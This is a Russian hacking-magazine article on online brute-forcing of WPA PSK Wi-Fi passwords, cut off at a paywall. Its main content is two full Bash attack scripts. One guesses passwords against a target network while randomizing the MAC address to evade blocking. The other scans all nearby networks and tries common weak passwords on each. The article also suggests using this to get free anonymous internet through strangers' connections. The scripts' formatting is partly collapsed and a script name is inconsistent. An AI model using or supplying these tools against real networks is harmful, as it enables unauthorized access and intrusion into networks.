Содержание статьи
info
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок».
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Наиболее часто встречаются сети WPA PSK. Даже если в компании используются сети WPA-Enterprise, а все остальное запрещено, мы всегда можем найти WPA PSK благодаря тем же беспроводным принтерам и всяческим несанкционированным точкам доступа, работающим на телефонах сотрудников. И чем больше периметр компании, тем больше таких потенциальных точек входа можно обнаружить. При атаках на точки доступа с WPA PSK обычно используется следующая схема.
Но что делать, если у точки доступа нет клиентов? Грубо говоря, где‑то у половины обнаруженных беспроводных сетей будут отсутствовать активные клиенты, а другая половина не будет подвержена PMKID, и у таких сетей не обнаружится уязвимый к перебору WPS. Выходит, подобные точки доступа устойчивы к атакам, даже если на них используется пароль 12345678? А что нам мешает атаковать их?
Онлайновый брутфорс с использованием wpa_supplicant
Подобрать пароль к обычной WPA-сети всегда можно простым перебором, аутентифицируясь и спрашивая каждый раз пароль непосредственно у точки доступа (этот метод называется онлайн‑брутфорсом).
Атаки онлайн‑подбором пароля к Wi-Fi-сетям крайне редки, и в интернете можно найти не так уж много реализаций такой атаки. Оно и понятно: ведь ее скорость низкая в сравнении с брутфорсом того же WPA Handshake или PMKID. Но именно эта атака может быть единственно возможной почти в четверти случаев. И пусть скорость подбора будет не так высока, это явно лучше, чем сидеть и ждать у моря погоды. Так ли нужна нам высокая скорость брутфорса, когда речь идет о небезопасных паролях? Можно предположить, что примерно на каждой десятой точке доступа использован пресловутый пароль 12345678. Неужели для атаки подобных устройств нужен хендшейк?
А что, если мы возьмем с десяток самых слабых паролей? Реализовать онлайн‑брутфорс мы можем достаточно просто с помощью скрипта на Bash, используя лишь wpa_supplicant
:
wpa-brute.sh
#!/bin/bashRED='\x1b[31m'GREEN='\x1b[32m'GREY='\x1b[90m'RESET='\x1b[0m'TIMEOUT=15
IFACE=wlan0
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: ' wordlist
[[ $# -ge 3 ]] && threads="$3" || threads=1
rand=$RANDOMif [ "$threads" -eq 1 ]; then touch "/tmp/wpa_${rand}_${essid}.conf" while read -r password
do [[ "${#password}" -lt 8 ]] && continue #sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${essid}.conf" || continue sed -i 's/^.*#psk=.*$/\tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf" sudo ifconfig $IFACE up
sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}_${essid}.conf" 2>&1 > "/tmp/wpa_${rand}_${essid}.log" &
wpa_supplicant=$! tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while read -t $TIMEOUT line
do #echo "$line" if echo "$line" | grep -q "completed"; then break elif echo "$line" | grep -q "Handshake failed"; then break fi done sudo pkill -P $wpa_supplicant 2> /dev/null
now=$(date +'%H:%M:%S') if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/null; then echo -e $GREEN "[+] [$now] $IFACE $essid: $password" $RESET exit 1
elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; then echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET else echo -e $GREY "[!] [$now] $IFACE $essid: $password" $RESET echo "$password" >> "$wordlist" fi rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null
rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null
done < "$wordlist"elif [ "$threads" -gt 1 ]; then typeset -a pids=() for ((thread=0; thread<$threads; thread++)); do "$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") || pkill -f "$0" &
pids+=($!) #sleep 0.25 done for pid in ${pids[*]}; do tail --pid=$pid -f /dev/null
donefi
Скрипт будет пытаться подключиться к точке доступа, используя исключительно легитимное ПО. На каждой итерации, чтобы избежать блокировок, он может менять наш MAC-адрес на рандомный. Такой скрипт не требует особых режимов беспроводной сетевой карты и может быть запущен на любом компьютере и даже на устройстве с Android.
Этот метод не так уж и плох, ведь даже Android по умолчанию управляет беспроводными соединениями через старый добрый wpa_supplicant
. Cчитается, что онлайн‑брутфорс точек доступа не параллелится, а скорость подбора пароля увеличить невозможно. Однако при одновременном брутфорсе паролей сразу с двух устройств не было замечено падения скорости, следовательно, увеличение быстродействия возможно.
В скрипте wpa-brute.
есть поддержка многопоточности, реализованная достаточно простым и оригинальным способом: на одном и том же WLAN-интерфейсе мы можем одновременно запускать сразу несколько процессов wpa_supplicant
. Пока один ждет ответа от точки доступа, другой wpa_supplicant
может отправлять пакеты аутентификации со следующим паролем. Значит, скорость брутфорса все же может быть увеличена, правда, в разумных пределах и не на всех точках доступа в равной степени.
Добавив обертку вокруг скрипта wpa-brute.
, мы можем реализовать брутфорс в ширину:
wpa_brute-width.sh
#!/bin/bashRED='\x1b[31m'GREEN='\x1b[32m'GREY='\x1b[90m'RESET='\x1b[0m'IFACE=wlan0
TIMEOUT=60
PASSWD=()MAX_TREADS=6
[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)#sudo killall -KILL wpa_supplicant 2> /dev/nullmkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute
while :
do sudo ifconfig $IFACE up
typeset -a bssids=() typeset -a essids=() typeset -a signals=() IFS=$'\x0a' for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr $'\n' $'\t' | sed -e 's/BSS/\nBSS/g' | grep 'PSK') do IFS=$'\t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)\(.*\t+signal: (.*).00 dBm.*\t+SSID: ([^\t]+)\t.*/\1\t\2\t\3/p') if [ -n "$essid" ]; then #echo "[*] $bssid $signal $essid" bssids+=($bssid) essids+=($essid) signals+=($signal) fi done for ((i=0; i<${#bssids[@]}; i++)) do echo "${essids[i]}"$'\t'"${bssids[i]}"$'\t'"${signals[i]}" done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt
IFS=$'\x0a' for net in $(cat /tmp/wpa_brute/wpa_net.txt) do IFS=$'\t' read essid bssid signal <<< $(echo "$net") fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue echo "[+] $essid $bssid $signal" sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
threads=0
for passwd in ${PASSWD[*]} do ((threads++)) echo "$passwd" done > /tmp/wpa_brute/wordlist.txt
timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS )) echo "$essid" >> /tmp/wpa_brute/essids_known.txt
break donedone
Cкрипт на каждой итерации будет сканировать эфир, проверять наличие беспроводных сетей, сортировать их по уровню сигнала и пытаться подобрать только один или несколько указанных паролей.
Брутфорс в ширину может быть очень полезен, когда атакуемый объект имеет протяженный периметр с кучей разнообразных Wi-Fi-сетей, многие из которых — это несанкционированные сети, раздаваемые пользователями, не сильно заботящимися о защищенности. Другой хороший пример слабо защищенных устройств, которые обязательно стоит искать подобным методом, — это принтеры. И то и другое может стать отличной точкой входа во внутреннюю сеть компании.
Использовать брутфорс в ширину можно и без цели проникновения, например чтобы организовать анонимный выход в интернет через чужой канал.
Онлайновый брутфорс с использованием scapy
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»